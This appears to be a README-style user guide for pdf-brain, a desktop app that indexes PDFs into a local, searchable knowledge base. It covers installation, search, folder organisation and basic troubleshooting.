Welcome to pdf-brain! This application lets you create a local knowledge base with your PDFs. It uses advanced vector search technology to help you find information quickly.

Before you start, ensure your system meets the following requirements:

• Operating System: Windows 10 or later / macOS Mojave or later / Linux (most distributions)
• RAM: At least 4 GB
• Storage: At least 100 MB of free space

To download the pdf-brain application, visit the Releases page. Click the link below:

Download pdf-brain

Once you are on the Releases page, look for the latest version. You will see options to download the application suitable for your operating system.

1. Click on the link for your operating system. This will download a file to your computer.
2. Once the download is complete, locate the file on your computer. It is usually in the "Downloads" folder.
3. Double-click on the file to start the installation process.
4. Follow the on-screen instructions to complete the installation.
5. After the installation, open pdf-brain from your applications or program menu.

1. Adding PDF Files:

   • To start building your knowledge base, drag and drop your PDF files into the pdf-brain window or use the "Add Files" button.
   • You can add multiple files at once.

2. Searching for Information:

   • Use the search bar at the top of the application.
   • Type in keywords or phrases from the PDFs you have added. pdf-brain will quickly display relevant results.

3. Viewing Results:

   • Click on any search result to open the corresponding PDF.
   • Navigate through the document to find the information you need.

4. Organizing Your PDFs:

   • You can create folders within the application to categorize your PDFs.
   • Simply right-click in the main window to create a new folder.

• Vector Search: Quickly find and retrieve information in your PDFs.
• Category Organization: Keep your PDFs organized with folders.
• User-Friendly Interface: Designed for everyone, no technical skills required.
• Multi-Platform Support: Use it on Windows, macOS, and Linux systems.
• Offline Access: Work with your PDFs anytime without an internet connection.

If you encounter issues:

• Application Won't Open: Ensure you have the correct version for your operating system.
• Search Not Working: Make sure your PDFs are fully added and indexed. Try restarting the application.
• Installation Problems: Check your system requirements and ensure you have enough free space.

For further assistance, visit our GitHub page and check the issues section. You can ask questions and find answers from the community.

pdf-brain is open-source software. You can freely use, modify, and distribute it under the terms of the license provided in the repository.

Thank you for using pdf-brain! We hope it makes managing your PDFs easier and more efficient.